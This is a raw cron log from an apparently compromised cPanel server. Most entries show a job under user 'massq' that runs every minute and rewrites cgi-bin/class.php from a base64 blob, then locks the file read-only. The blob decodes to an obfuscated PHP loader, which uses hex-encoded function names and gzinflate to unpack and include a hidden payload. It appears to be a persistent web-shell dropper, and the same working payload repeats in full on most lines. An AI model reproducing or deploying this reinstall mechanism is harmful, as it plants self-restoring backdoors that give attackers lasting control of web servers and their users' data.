Nov 14 05:14:01 server CROND[22319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:15:01 server CROND[23126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:15:01 server CROND[23127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:15:01 server CROND[23128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:16:01 server CROND[23977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:17:01 server CROND[24735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:18:01 server CROND[25690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:19:01 server CROND[26539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:20:01 server CROND[27402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:20:01 server CROND[27405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:20:01 server CROND[27410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:20:01 server CROND[27413]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 05:20:01 server CROND[27408]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 05:21:01 server CROND[28316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:22:01 server CROND[29057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:23:01 server CROND[29935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:24:01 server CROND[30879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:25:01 server CROND[31916]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:25:01 server CROND[31918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:25:01 server CROND[31920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:26:01 server CROND[371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
